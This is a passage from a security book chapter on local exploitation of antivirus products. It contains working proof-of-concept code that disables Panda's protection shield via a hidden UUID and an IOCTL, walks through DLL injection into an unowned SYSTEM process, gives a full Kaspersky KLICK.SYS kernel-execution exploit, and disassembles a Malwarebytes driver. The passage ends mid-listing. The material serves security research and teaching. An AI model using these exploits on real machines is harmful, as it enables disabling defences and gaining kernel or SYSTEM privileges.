The Antivirus Hacker's Handbook (2015)

Part III. Analysis and Exploitation

Chapter 14. Local Exploitation

Local exploitation techniques are used to exploit a product, or one of its ­components, when you have access to the computer being targeted.

Local exploitation techniques can be used, for instance, after a successful remote attack to escalate privileges, or they can be used alone if you already have access to the target machine. Such techniques usually offer a way to escalate privileges from those of a normal unprivileged user to those of a more privileged user (such as a SYSTEM or root user) or, in the worst cases, even to kernel level. These techniques usually exploit the following kinds of bugs:

·     Memory corruptions—This refers to a memory corruption in a local service running with high privileges. An exploit's ability to capitalize on such a vulnerability is usually low, depending on the actual vulnerability and the exploitation mitigations offered by the compiler and the operating system.

·     Bad permissions—This type of vulnerability occurs in a local service and is caused by incorrectly setting the privileges or access control lists (ACLs) to objects. For example, a SYSTEM process with a null ACL is easy to exploit, usually with 100-percent reliability.

·     Logical vulnerabilities—These are the most elegant but also the ­hardest types of vulnerabilities to find. A logical vulnerability is commonly a design-time flaw that allows the takeover of a privileged resource through perfectly legal means, typically the same means that the antivirus itself uses. The ease with which these vulnerabilities can be exploited depends on the particular design flaw being targeted, but their reliability index is 100 percent. Even better, such vulnerabilities cannot be easily fixed because they may require making significant changes in the product. The bug could be deeply integrated and interwoven with other components in the product, making it hard to fix the bug without introducing other bugs.

The following sections discuss how such local vulnerabilities can be exploited, by showing some actual, but old, vulnerabilities in antivirus products.

Exploiting Backdoors and Hidden Features

Some products contain specific backdoors or hidden features that make it easier to debug problems or to enable or disable specific features in the product (typically used by the support technicians). These backdoors are very useful during the development of the product, but if they are left in the product after its release—by mistake or by choice—they will eventually be discovered and abused by attackers. These bugs can be intentional, as when they are used to help support technicians, or they can be unintentional, because of poor design choices. Remember, nothing can be hidden from reverse-engineers, and obfuscation will not fend off determined hackers: any backdoor, left open, will be abused sooner or later.

For example, one vulnerability, which is now fixed, used to affect the Panda Global Protection antivirus up until the 2013 version. This antivirus product was one of the worst I ever evaluated: after analyzing the local attack surface for less than a day, I decided not to continue the analysis because I had already discovered three local vulnerabilities for it. One of the first vulnerabilities I discovered was due to a bad design choice. To prevent the antivirus processes from being killed by a malicious process running in the same machine, which is usually called an “AV killer,” the product used a kernel driver that enabled the protection of some processes, as shown in Figure 14.1.

Screenshot of Windows Task Manager window presenting the Processes tab. Image name “PavBckPT.exe” and its details are highlighted. An Unable to Terminate Process prompt is displayed.

Figure 14.1 Panda's shield prevented termination of a Panda process using the Task Manager.

However, this kernel driver could be communicated with freely by any process, and, unfortunately, there was an I/O Control Code (IOCTL) that was used to disable the protection.

Before going into more detail, I will show how I discovered this vulnerability. One library installed by Panda Global Protection was called pavshld.dll; it drew my attention. This library exported a set of functions with human readable names, except for PAVSHLD_001and PAVSHLD_002. After I took a brief look at the first function, it was clear that something was hidden. The only parameter received by this function was equal to the secret universally unique identifier (UUID) ae217538-194a-4178-9a8f-2606b94d9f13. If the given UUID was correct, then a set of functions was called, some of them making registry changes. After noticing this curious code, I decided to write a quick C++ application to see what happened when this function was called with the magic UUID value:

/**

 Tool to disable the shield (auto-protection) of Panda Global Protection

*/

#include <iostream>

#include <windows.h>

#include <rpc.h>

using namespace std;

typedef BOOL (*disable_shield_t)(UUID*);

int main()

{

  HMODULE hlib = LoadLibrary("C:\\Program Files (x86)\\Common Files\\"

                             "Panda Security\\PavShld\\PavShld.dll");

  if ( hlib )

  {

    cout << "[+] Loaded pavshld.dll library" << endl;

    UUID secret_key;

    UuidFromString(

       (unsigned char *)"ae217538-194a-4178-9a8f-2606b94d9f13",

       &secret_key);

    disable_shield_t p_disable_shield;

    p_disable_shield = (disable_shield_t)GetProcAddress(hlib,

                                         "PAVSHLD_0001");

    if ( p_disable_shield != NULL )

    {

      cout << "[+] Resolved function PAVSHLD_0001" << endl;

      if ( p_disable_shield(&secret_key) )

        cout << "[+] Antivirus disabled!" << endl;

      else

        cout << "[-] Failed to disable antivirus: " << GetLastError()

             << endl;

    }

    else

      cout << "[-] Cannot resolve function PAVSHLD_0001 :(" << endl;

  }

  else

  {

    cout << "Cannot load pavshld.dll library, sorry" << endl;

  }

  return 0;

}

This tool simply loaded the PavShld.dll library and called that exported function. After running this tool in a machine with the Panda Global Protection 2012 product installed, I discovered that I could kill the Panda processes by simply using the Windows Task Manager. I tried this as a normal user and also as another, even less privileged user that I created just for the sake of experiment; the results were the same. Before running the tool I was not able to kill any processes, and after running the tool I was able to kill the Panda processes. This was bad. However, I was wrong when I thought that the library was simply writing registry keys; the library actually called another library in addition: ProcProt.dll. The PAVSHLD_001 function checked whether the secret UUID was given and included this section of code:

.text:3DA26272 loc_3DA26272: ; CODE XREF: PAVSHLD_0001+5Bj

.text:3DA26272   call    sub_3DA260A0

.text:3DA26277   call    check_supported_os

.text:3DA2627C   test    eax, eax

.text:3DA2627E   jz      short loc_3DA26286

; ProcProt.dll!Func_0056 is meant to disable the av's shield

.text:3DA26280  call    g_Func_0056

The g_Func_0056 function, as I chose to call it, was a function in the ProcProt.dll library that was dynamically resolved via the typical LoadLibrary and GetProcAddress function calls. A quick look at the function's disassembly listing in IDA did not reveal anything exciting; however, pressing the minus key on the number pad, to toggle the Proximity Browser, revealed a call graph of this function and interesting callers and callees, as shown in Figure 14.2.

Image described by surrounding text.

Figure 14.2 Call graph of ProcProt!Func_0056

At least two functions that were called from the exported Func_0056 ended up calling the Windows API DeviceIoControl, a function used to communicate with a kernel device driver. The function sub_3EA05180, called from the exported library function Func_0056, called this API, as shown in the following assembly code:

.text:3EA0519F loc_3EA0519F    ; CODE XREF: sub_3EA05180+11j

.text:3EA0519F  push    0           ; lpOverlapped

.text:3EA051A1  lea     ecx, [esp+8+BytesReturned]

.text:3EA051A5  push    ecx         ; lpBytesReturned

.text:3EA051A6  push    0           ; nOutBufferSize

.text:3EA051A8  push    0           ; lpOutBuffer

.text:3EA051AA  push    0           ; nInBufferSize

.text:3EA051AC  push    0           ; lpInBuffer

.text:3EA051AE  push    86062018h  ; IoControlCode to disable the shield

.text:3EA051B3  push    eax         ; hDevice

; Final DeviceIoControl to instruct the driver to disable the protection

.text:3EA051B4  call    ds:DeviceIoControl

So, believe it or not, the previous backdoor in PavShld.dll, which activated only when the hidden UUID string was passed, was not even required at all!

It's possible to disable the driver by knowing the symbolic link name exposed by the kernel driver and the IOCTL code to send. Once you have retrieved those two pieces of information by disassembling the library, you can use code like the following to disable the antivirus shield:

#include <windows.h>

int main(int argc, char **argv)

{

  HANDLE hDevice = CreateFileA(

"\\\\.\\Global\\PAVPROTECT", // DOS device name

0,

1u,

0,

3u,

0x80u, 0);

  if ( hDevice )

  {

    DWORD BytesReturned;

    DeviceIoControl(

hDevice,

0x86062018,

0, 0, 0, 0, &BytesReturned, 0);

  }

  return 0;

}

This logical error is easy to discover by using static analysis techniques. The next section shows how to find even easier design and logic errors in a program.

Finding Invalid Privileges, Permissions, and ACLs

In Windows operating systems in particular, system objects with incorrect or inappropriately secured ACLs are common. For instance, a privileged application, running as SYSTEM, uses some objects with insecure privileges (ACLs) that allow a normal non-privileged user to modify or interact with them in a way that allows the escalation of privileges. For example, sometimes a process or application thread is executed as SYSTEM, and with the highest possible integrity level (also SYSTEM), but has no owner. It sounds odd, right? Well, you may be surprised by the number of products that used to have such bugs: Windows versions of the Oracle and IBM DB2 databases suffered from this vulnerability, and at least one antivirus product, Panda Global Protection 2012, was vulnerable at the time I was researching security flaws.

One of the first actions to perform when doing an audit of a new product is to install it, reboot the machine, and briefly analyze the local attack surface by reviewing the services the product installs, the processes, the permissions of each object from each privileged process it installs, and so on. During the first few minutes of auditing Panda Global Protection 2012, I discovered a curious bug similar to others that I already knew about: incorrect or absent object permissions. These kinds of problems can be discovered by using a tool such as the SysInternal Process Explorer, as shown in Figure 14.3.

Screenshot of the WebProxy.exe:3208 Properties and Permissions dialog overlapping the Process Explorer window. Security tabs in both dialogs are boxed.

Figure 14.3 Security properties of the WebProxy.exe process

Figure 14.3 shows that there is one process named WebProxy.exe, which runs as the NT AUTHORITY\SYSTEM user, with the highest integrity level (SYSTEM). However, the permissions of the actual process are too relaxed; it simply has no owner! The following information appears in the Permissions dialog box (boldface is used for emphasis):

No permissions have been assigned for this object.

Warning: this is a potential security risk because anyone who can access this object can take ownership of it. The object's owner should assign permissions as soon as possible.

The Process Explorer tool clearly shows that there is a potential security risk because anyone who can access this object—which translates to any user in the local machine, regardless of the user's privileges—can take ownership of this process. It means that a low privileged process, such as a tab in Google Chrome or the latest versions of Internet Explorer, the ones that run inside the sandbox, can take ownership of an entire process running as SYSTEM. This means that this antivirus product can be used as a quick and easy way to break out of the sandbox and to escalate privileges to one of the highest levels: SYSTEM. For this scenario to occur, the attacker first needs to identify a bug in the chosen browser, exploit it, and use this vulnerability as the last stage of the exploit. Naturally, if an attacker does not have a bug for the chosen browser, this does not apply. But finding bugs in browsers is not actually a complex task.

Needless to say, this bug is horrible. Unfortunately, though, these kinds of oversights and bugs happen in security products. In any case, this is fortunate for hackers because they can write exploits for them! This is likely one of the easiest exploits to write for escalation of privileges: you simply need to take ownership of this process or, for example, to inject a thread into its process context. You can do practically anything you want with an orphaned process. This example injects a DLL using a tool called RemoteDLL, which is available from http://securityxploded.com/remotedll.php.

Once you download it, you can unpack it in a directory and execute the file named RemoteDll32.exe under the Portable subdirectory. A dialog box appears, like the one shown in Figure 14.4.

Screenshot of the RemoteDLL dialog box presenting radio buttons for Operation options; fields for injection method, target process, and DLL name; and a preview pane.

Figure 14.4 User interface of the RemoteDLL injector tool

In this tool, you need to leave the default options for Operation and Inject Method and a target process corresponding to the vulnerable WebProxy.exe process. Then, you need to create a simple DLL library to inject before selecting it in the RemoteDLL injector's GUI. Use the following simple library in C language:

#include <Windows.h>

#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,

                       DWORD  ul_reason_for_call,

                       LPVOID lpReserved

)

{

       switch (ul_reason_for_call)

       {

       case DLL_PROCESS_ATTACH:

           // Real code would go here

           break;

       case DLL_THREAD_ATTACH:

       case DLL_THREAD_DETACH:

       case DLL_PROCESS_DETACH:

           break;

       }

       return TRUE;

}

This stub library actually does nothing. (You can choose to do anything you want when the library is loaded, at the time the DLL_PROCESS_ATTACH event happens.) Compile it as a DLL with your favorite compiler, for example, Microsoft Visual Studio, and then select the path of the output library in the RemoteDLL field labeled DLL Name. After that, you simply need to click the Inject DLL button. However, surprise—the attack is detected and blocked by the Panda antivirus product. It displays a message such as “Dangerous operation blocked!” as shown in Figure 14.5 (which appears in Spanish).

Figure 14.5 Panda blocks your attempt to inject a DLL.Image described by surrounding text.

The antivirus log indicates that the CreateRemoteThread API call that the RemoteDLL tool used to inject a DLL was caught. You have a few choices to continue:

1.  Disable the shield, as it is probably the one responsible for catching the injection; or

2.  Use another method.

If you know of no other way to disable the shield, can you still inject a DLL using another method? Luckily, the RemoteDLL tool offers another way to inject a DLL using the undocumented NtCreateThread native API. Instead of using CreateRemoteThread, it directly calls the NtCreateThread function (which is called by CreateRemoteThread internally). From the Injection Method drop-down list, select NTCreateThread [undocumented] and click the Inject DLL button again. After you click the button, the GUI seems to freeze, but if you take a look with the SysInternal Process Explorer tool, you see results similar to those in Figure 14.6.

Figure 14.6 Panda is successfully owned.Screenshot of juxtaposed RemoteDLL dialog and SysInternal Process Explorer window, whose bottom pane containing DLL name, description, company name, and path similar to inputs in RemoteDLL is boxed.

Your library is loaded in the process space of the application, running as SYSTEM. After proving that it works, you could write a more complex exploit using the NtCreateThread method to inject a DLL, for example, a Metasploit meterpreter library that would connect to a machine you control and that is running the Metasploit console. This is just a single example, but in reality, you can do practically anything you want.

Searching Kernel-Land for Hidden Features

I already discussed some vulnerabilities that were caused because of hidden features. These hidden features, such as the secret UUID and the IOCTL code in the Panda Global Protection antivirus used to disable protection, are common in antivirus products. Some of them are intended, such as the previously discussed vulnerability that could be used by support people, and others are not, such as the next vulnerability discussed.

In 2006, the security researcher Ruben Santamarta reported an interesting vulnerability in Kaspersky Internet Security 6.0. This old version of the Kaspersky antivirus tool used two drivers to hook NDIS and TDI systems. The drivers responsible for hooking such systems were, respectively, KLICK.SYS and KLIN.SYS. Both drivers implemented a plug-in system so that callbacks from other components could be installed. The registration of each plug-in was triggered by an internal IOCTL code. The ACL of the device driver registered by the KLICK.SYS driver—the one hooking the NDIS system—was not restrictive, and so any user could write to the \\.\KLICK DOS device, which in turn would allow any user to take advantage of a hidden feature in that kernel driver. The IOCTL code0x80052110 was meant to register a callback from a plug-in of the KLICK.SYS driver. Here is a look at the driver's DriverEntry method:

.text:00010A3D ; NTSTATUS __cdecl DriverEntry(PDRIVER_OBJECT DriverObject,

 PUNICODE_STRING RegistryPath)

.text:00010A3D   public DriverEntry

.text:00010A3D DriverEntry proc near

.text:00010A3D

.text:00010A3D SourceString= word ptr -800h

.text:00010A3D var_30= UNICODE_STRING ptr -30h

.text:00010A3D var_28= byte ptr -28h

.text:00010A3D AnsiString= STRING ptr -1Ch

.text:00010A3D DestinationString= UNICODE_STRING ptr -14h

.text:00010A3D SymbolicLinkName= UNICODE_STRING ptr -0Ch

.text:00010A3D ResultLength= dword ptr -4

.text:00010A3D DriverObject= dword ptr  8

.text:00010A3D RegistryPath= dword ptr  0Ch

.text:00010A3D

.text:00010A3D   push    ebp

.text:00010A3E   mov     ebp, esp

.text:00010A40   sub     esp, 800h

.text:00010A46   push    ebx

.text:00010A47   push    esi

.text:00010A48   mov     esi, ds:RtlInitUnicodeString

.text:00010A4E   push    edi

.text:00010A4F   lea     eax, [ebp+DestinationString]

.text:00010A52   push    offset SourceString ; \Device\klick

.text:00010A57   push    eax ; DestinationString

.text:00010A58   call    esi ; RtlInitUnicodeString

.text:00010A5A   lea     eax, [ebp+SymbolicLinkName]

.text:00010A5D   push    offset aDosdevicesKlic ; \DosDevices\klick

.text:00010A62   push    eax ; DestinationString

.text:00010A63   call    esi ; RtlInitUnicodeString

.text:00010A65   mov     ebx, [ebp+DriverObject]

.text:00010A68   xor     esi, esi

.text:00010A6A   push    offset DeviceObject ; DeviceObject

.text:00010A6F   push    esi ; Exclusive

.text:00010A70   push    esi ; DeviceCharacteristics

.text:00010A71   lea     eax, [ebp+DestinationString]

.text:00010A74   push    22h ; DeviceType

.text:00010A76   push    eax ; DeviceName

.text:00010A77   push    esi ; DeviceExtensionSize

.text:00010A78   push    ebx

.text:00010A79   call    uninteresting_10888

.text:00010A7E   push    eax ; DriverObject

.text:00010A7F   call    ds:IoCreateDevice

It starts by creating the device driver, \Device\Klick, and its corresponding symbolic link name, \DosDevices\klick. Then, the address of the function device_handler is copied over the DriverObject->MajorFunction array:

.text:00010A97   lea     edi, [ebx+_DRIVER_OBJECT.MajorFunction]

.text:00010A9A   pop     ecx

.text:00010A9B   mov     eax, offset device_handler

; Copy the device_handler to the MajorFunction table

.text:00010AA0   rep stosd 

This function, device_handler, is the one you want to analyze to determine which IOCTLs are handled and how. If you go to this function, you see pseudo-code similar to the following:

NTSTATUS __stdcall device_handler(

    PDEVICE_OBJECT dev_obj, struct _IRP *Irp)

{

  NTSTATUS err; // ebp@1

  _IO_STACK_LOCATION *CurrentStackLocation; // eax@1

  unsigned int InputBufferLength; // edx@1

  unsigned int maybe_write_length; // edi@1

  unsigned int io_control_code; // ebx@1

  UCHAR irp_func; // al@1

  err = 0;

  CurrentStackLocation =

     (_IO_STACK_LOCATION *)Irp->Tail.Overlay.CurrentStackLocation;

  InputBufferLength =

     CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;

  maybe_write_length = CurrentStackLocation->Parameters.Write.Length;

  io_control_code =

    CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;

  irp_func = CurrentStackLocation->MajorFunction;

  if ( irp_func == IRP_MJ_DEVICE_CONTROL ||

       irp_func == IRP_MJ_INTERNAL_DEVICE_CONTROL )

    err = internal_device_handler(

                    io_control_code,

                    Irp->AssociatedIrp.SystemBuffer,

                    InputBufferLength,

                    Irp->AssociatedIrp.SystemBuffer,

                    maybe_write_length,

                    &Irp->IoStatus.Information);

  Irp->IoStatus.anonymous_0.Status = err;

  IofCompleteRequest(Irp, 0);

  return err;

}

As you can see, it is taking the input arguments sent to the IOCTL code and the IoControlCode and sending it to another function that I called internal_device_handler. In this function, depending on the IOCTL code, it eventually calls another function, sub_1172A:

001170C loc_1170C: ; CODE XREF: internal_device_handler+1Ej

001170C                                   ; internal_device_handler+25j

001170C   push    [ebp+iostatus_info]     ; iostatus_info

001170F   push    [ebp+write_length]      ; write_length

0011712   push    [ebp+system_buf_write]  ; SystemBufferWrite

0011715   push    [ebp+input_buf_length]  ; InputBufferLength

0011718   push    [ebp+SystemBuffer]      ; SystemBuffer

001171B   push    eax                     ; a2

001171C   call    sub_1172A

In the sub_1172A function, the vulnerability becomes easy to spot. If you open the pseudo-code using the Hex-Rays decompiler, and check the code that handles the IOCTL code 0x80052110, you find a curious type cast:

 (…)

  if ( io_control_code == 0x80052110 )

  {

    if ( SystemBuffer && InputBufferLength >= 8 )

    {

      v10 = (void *)(*(int (__cdecl **)(_DWORD))(*this + 20))(0);

      if ( v10 )

      {

        (*(void (__thiscall **)(void *))(*(_DWORD *)v10 + 4))(v10);

        if ( sub_15306(v10,

           *(int (__cdecl **)(char *, char *, int))SystemBuffer,

           *((_DWORD *)SystemBuffer + 1)) )

(…)

Notice that curious cast-to-function pointer that the decompiler is showing. The decompiler indicates that the element at SystemBuffer is used directly as a function pointer. In other words, a pointer that is sent at the first DWORD in the buffer that is sent to the IOCTL handler is being cast as a function pointer and is likely going to be used to call something. The sub_15306 function contains the following sad code:

; int __thiscall sub_15306(

;           void *this,

;           int (__cdecl *system_buffer)(char *, char *, int),

l           int a3)

.text:00015306 sub_15306 proc near

.text:00015306 var_20= byte ptr -20h

.text:00015306 var_18= byte ptr -18h

.text:00015306 var_10= byte ptr -10h

.text:00015306 var_8= dword ptr -8

.text:00015306 var_4= dword ptr -4

.text:00015306 system_buffer= dword ptr  8

.text:00015306 arg_4= dword ptr  0Ch

.text:00015306

.text:00015306   push    ebp

.text:00015307   mov     ebp, esp

.text:00015309   sub     esp, 20h

(…)

.text:00015316   mov     ecx, [ebp+arg_4]

.text:00015319   lea     edi, [esi+10h]

.text:0001531C   mov     [esi+1ECh], ecx

.text:00015322   push    ecx

.text:00015323   lea     ecx, [esi+1B8h]

.text:00015329   mov     [esi+1F0h], eax

.text:0001532F   mov     [edi], eax

.text:00015331   mov     eax, [ebp+system_buffer]

; Pointer to the SystemBuffer

.text:00015334   push    ecx

.text:00015335   push    edi

.text:00015336   mov     [esi+1ACh], eax

.text:0001533C   call    eax  ; Call *(DWORD *)SystemBuffer!!!!

The driver is calling any address that is given as the first DWORD in the buffer passed to the IOCTL code, which allows anyone to execute any code in Ring0! This bug was caused by a design flaw (or, maybe, because of bad permissions). The function was meant to be used by plug-ins of the KLICK.SYS driver to register the plug-in and callbacks:

 (…)

.text:0001535D   push    edi

.text:0001535E   push    ecx

.text:0001535F   push    offset aRegisterPlugin

; "Register plugin: ID = <%x> <%s>\r\n"

.text:00015364   push    3

.text:00015366   push    8

.text:00015368   push    eax

.text:00015369   call    dword ptr [edx+0Ch]

However, the ACL's driver allowed anyone to call that IOCTL code as if it were a plug-in. This allowed anyone to directly execute code at kernel-land from an unprivileged process.

Writing an exploit for this vulnerability was trivial, considering that it could call, for example, a user-mode pointer. The following is the sample exploit that Ruben wrote for this vulnerability:

////////////////////////////////////

///// AVP (Kaspersky)

////////////////////////////////////

//// FOR EDUCATIONAL PURPOSES ONLY

//// Kernel Privilege Escalation #2

//// Exploit

//// Rubén Santamarta

//// www.reversemode.com

//// 01/09/2006

////

////////////////////////////////////

#include <windows.h>

#include <stdio.h>

void Ring0Function()

{

  printf("----[RING0]----\n");

  printf("Hello From Ring0!\n");

  printf("----[RING0]----\n\n");

  exit(1);

}

VOID ShowError()

{

  LPVOID lpMsgBuf;

  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|

                FORMAT_MESSAGE_FROM_SYSTEM,

      NULL,

      GetLastError(),

      MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),

      (LPTSTR) &lpMsgBuf,

      0,

      NULL);

  MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);

  exit(1);

}

int main(int argc, char *argv[])

{

  DWORD  InBuff[1];

  DWORD  dwIOCTL,OutSize,InSize,junk;

  HANDLE hDevice;

  system("cls");

  printf("#######################\n");

  printf("## AVP Ring0 Exploit ##\n");

  printf("#######################\n");

  printf("Ruben Santamarta\nwww.reversemode.com\n\n");

[1]  hDevice = CreateFile("\\\\.\\KLICK",

         0,

         0,

         NULL,

         3,

         0,

         0);

  //////////////////////

  ///// INFO

  //////////////////////

  if (hDevice == INVALID_HANDLE_VALUE) ShowError();

  printf("[!] KLICK Device Handle [%x]\n",hDevice);

  //////////////////////

  ///// BUFFERS

  //////////////////////

 [2]  InSize = 0x8;

 [3]  InBuff[0] =(DWORD) Ring0Function;  // Ring0 ShellCode Address

  //////////////////////

  ///// IOCTL

  //////////////////////

  dwIOCTL = 0x80052110;

  printf("[!] IOCTL [0x%x]\n\n",dwIOCTL);

 [4] DeviceIoControl(hDevice,

        dwIOCTL,

        InBuff,0x8,

        (LPVOID)NULL,0,

        &junk,

        NULL);

  return 0;

}

The most interesting parts of the exploit are in bold. At marker [1], it starts by opening the device driver's symbolic link created by the KLICK.SYS driver (\\.\KLICK). Then, at [2], it sets the expected size of the input buffer to 8 bytes. At [3], it sets the first DWORD of the input buffer to be sent to the IoControlCode handler to the address of the local function Ring0Function, and at [4], it simply calls the vulnerable IOCTL code using the DeviceIoControl API. The vulnerable driver will call the function Ring0Function, showing the message, "Hello from Ring0". You could change this payload to whatever you want. For example, you could spawn a CMD shell or create an administrator user or anything, because the payload will be running as kernel.

More Logical Kernel Vulnerabilities

Some vulnerabilities in the kernel are the result of incorrectly allowing any user to send commands (IOCTLs), as in the previous case with Kaspersky. This problem doesn't affect Kaspersky exclusively but rather impacts a large set of antivirus products. This sections shows one more example: a set of zero-day kernel vulnerabilities in MalwareBytes. The blog post titled “Angler Exploit Kit Gives Up on Malwarebytes Users” explains that the author of Angler Exploit Kit simply refuses to operate if the MalwareBytes antivirus contains the following erroneous statement:

We can almost imagine cyber criminals complaining about how their brand new creations, fresh out of the binary factory, are already being detected by our software. Even when they think they will catch everyone by surprise with a zero-day, we are already blocking it.

This book discusses how the antivirus can be used as the actual attack target. As such, how can the antivirus block a zero-day targeting the antivirus itself? The answer is very easy: it cannot. Also, AV software does not even try to do so. But to prove them wrong, this example looks for an easy vulnerability to exploit. This antivirus product, which is very young, uses a set of kernel drivers. One of them creates a device that any local user can communicate with, the driver called mbamswissarmy.sys, “The MalwareBytes' Swiss Army Knife.” This name screams that the driver exports interesting functionality, so open it in IDA. After the initial auto-analysis finishes, you will see the following disassembly at the entry point:

INIT:0002D1DA ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)

INIT:0002D1DA                 public DriverEntry

INIT:0002D1DA DriverEntry     proc near

INIT:0002D1DA

INIT:0002D1DA DriverObject    = dword ptr  8

INIT:0002D1DA RegistryPath    = dword ptr  0Ch

INIT:0002D1DA

INIT:0002D1DA                 mov     edi, edi

INIT:0002D1DC                 push    ebp

INIT:0002D1DD                 mov     ebp, esp

INIT:0002D1DF                 call    sub_2D1A1

INIT:0002D1E4                 pop     ebp

INIT:0002D1E5                 jmp     driver_entry

INIT:0002D1E5 DriverEntry     endp

The function named sub_2D1A1 calculates the security cookie; you can skip it. Let's continue with the jump to driver_entry. After some uninteresting parts, you can see the code where it's creating the device object that can be used to communicate with the driver:

INIT:0002D03E   mov     edi, ds:__imp_RtlInitUnicodeString

INIT:0002D044   push    offset aDeviceMbamswis; SourceString

INIT:0002D049   lea     eax, [ebp+DestinationString]

INIT:0002D04C   push    eax                   ; DestinationString

INIT:0002D04D   call    edi ; __imp_RtlInitUnicodeString

INIT:0002D04F   push    offset aDosdevicesMb_0 ; SourceString

INIT:0002D054   lea     eax, [ebp+SymbolicLinkName]

INIT:0002D057   push    eax                   ; DestinationString

INIT:0002D058   call    edi ; __imp_RtlInitUnicodeString

INIT:0002D05A   lea     eax, [ebp+DriverObject]

INIT:0002D05D   push    eax                ; DeviceObject

INIT:0002D05E   xor     edi, edi

INIT:0002D060   push    edi                ; Exclusive

INIT:0002D061   push    100h               ; DeviceCharacteristics

INIT:0002D066   push    22h                ; DeviceType

INIT:0002D068   lea     eax, [ebp+DestinationString]

INIT:0002D06B   push    eax                ; DeviceName

INIT:0002D06C   push    edi                ; DeviceExtensionSize

INIT:0002D06D   push    esi                ; DriverObject

INIT:0002D06E   call    ds:IoCreateDevice

If double-click on either the aDeviceMbamswis or aDosdevicesMb_0 names, you will see the full device names it's creating:

INIT:0002D2CE ; const WCHAR aDosdevicesMb_0

INIT:0002D2CE aDosdevicesMb_0:

INIT:0002D2CE   unicode 0, <\DosDevices\MBAMSwissArmy>,0

INIT:0002D302 ; const WCHAR aDeviceMbamswis

INIT:0002D302 aDeviceMbamswis:

INIT:0002D302   unicode 0, <\Device\MBAMSwissArmy>,0

Now go back to the function you were analyzing by pressing ESC in order to continue analyzing it. A few instructions after creating the device object, it executes the following code:

INIT:0002D08E   mov     eax, [esi+_DRIVER_OBJECT.MajorFunction]

INIT:0002D091   mov     g_MajorFunction, eax

INIT:0002D096   mov     eax, offset device_create_close

INIT:0002D09B   mov     [esi+_DRIVER_OBJECT.MajorFunction], eax

INIT:0002D09E   mov     [esi+(_DRIVER_OBJECT.MajorFunction+8)], eax

INIT:0002D0A1   lea     eax, [ebp+DestinationString]

INIT:0002D0A4   push    eax                      ; DeviceName

INIT:0002D0A5   lea     eax, [ebp+SymbolicLinkName]

INIT:0002D0A8   push    eax                      ; SymbolicLinkName

INIT:0002D0A9   mov     [esi+(_DRIVER_OBJECT.MajorFunction+38h)],

                        offset DispatchDeviceControl

INIT:0002D0B0   mov     [esi+(_DRIVER_OBJECT.MajorFunction+40h)],

                        offset device_cleanup

INIT:0002D0B7   mov     [esi+_DRIVER_OBJECT.DriverUnload],

                        offset driver_unload

INIT:0002D0BE   call    ds:IoCreateSymbolicLink

It seems it's registering the device driver handling functions. Press F5 to see the pseudo-code of this portion of code:

  DriverObject->MajorFunction[IRP_MJ_CREATE] =

                (PDRIVER_DISPATCH)device_create_close;

  DriverObject->MajorFunction[IRP_MJ_CLOSE] =

                (PDRIVER_DISPATCH)device_create_close;

  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =

                (PDRIVER_DISPATCH)DispatchDeviceControl;

  DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =

                (PDRIVER_DISPATCH)device_cleanup;

  DriverObject->DriverUnload = (PDRIVER_UNLOAD)driver_unload;

It's registering the callbacks to handle when the device is created and closed, the machine shuts down, the driver is unloading, and, most important, the device control handler that I renamed to DispatchDeviceControl. This function is the one responsible for handling the commands, IOCTLs, a userland component can send to the driver:

PAGE:0002C11E   mov     eax, [ebp+Irp]                ; IRP->Tail.Overlay.CurrentStackLocation

PAGE:0002C121   push    ebx

PAGE:0002C122   push    esi

PAGE:0002C123   push    edi

PAGE:0002C124   mov     edi, [eax+60h]

PAGE:0002C127   mov     eax,

[edi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]

PAGE:0002C12A   xor     ebx, ebx

PAGE:0002C12C   push    ebx                           ; Timeout

PAGE:0002C12D   push    ebx                           ; Alertable

PAGE:0002C12E   push    ebx                           ; WaitMode

PAGE:0002C12F   push    ebx                           ; WaitReason

PAGE:0002C130   mov     esi, offset Mutex

PAGE:0002C135   push    esi                           ; Object

PAGE:0002C136   mov     [ebp+CurrentStackLocation], edi

PAGE:0002C139   mov     [ebp+input_buf_length], eax

PAGE:0002C13C   call    ds:KeWaitForSingleObject

PAGE:0002C142   mov     edi,

[edi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]

PAGE:0002C145   cmp     edi, 22241Dh

PAGE:0002C14B   jz      loc_2C34C

PAGE:0002C151   cmp     edi, 222421h

PAGE:0002C157   jz      loc_2C34C

PAGE:0002C15D   cmp     edi, 222431h

PAGE:0002C163   jz      loc_2C34C

PAGE:0002C169   cmp     edi, 222455h

PAGE:0002C16F   jz      loc_2C34C

PAGE:0002C175   cmp     edi, 222425h

PAGE:0002C17B   jz      loc_2C34C

PAGE:0002C181   cmp     edi, 22242Dh

PAGE:0002C187   jz      loc_2C34C

PAGE:0002C18D   cmp     edi, 222435h

PAGE:0002C193   jz      loc_2C34C

PAGE:0002C199   cmp     edi, 222439h

PAGE:0002C19F   jz      loc_2C34C

PAGE:0002C1A5   cmp     edi, 22245Eh

PAGE:0002C1AB   jz      loc_2C34C

PAGE:0002C1B1   cmp     edi, 222469h

PAGE:0002C1B7   jz      loc_2C34C

The function stores in EAX the size of the given userland buffer and checks the IOCTL code, which is stored in EDI, sent to the driver. There are a few IOCTL codes handled here. Let's follow the conditional jump to loc_2C34C:

PAGE:0002C34C loc_2C34C:   ; CODE XREF: DispatchDeviceControl+35j

PAGE:0002C34C

; DispatchDeviceControl+41j …

PAGE:0002C34C   mov     edi, [ebp+Irp]

PAGE:0002C34F

PAGE:0002C34F loc_2C34F:   ; CODE XREF: DispatchDeviceControl+1D4j

PAGE:0002C34F

; DispatchDeviceControl+1DBj …

PAGE:0002C34F   mov     eax, [ebp+CurrentStackLocation]

PAGE:0002C352

PAGE:0002C352 loc_2C352:   ; CODE XREF: DispatchDeviceControl+130j

PAGE:0002C352              ; DispatchDeviceControl+13Cj …

PAGE:0002C352   mov     ecx,

[eax+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]

PAGE:0002C355   add     ecx, 0FFDDDBFEh ; switch 104 cases

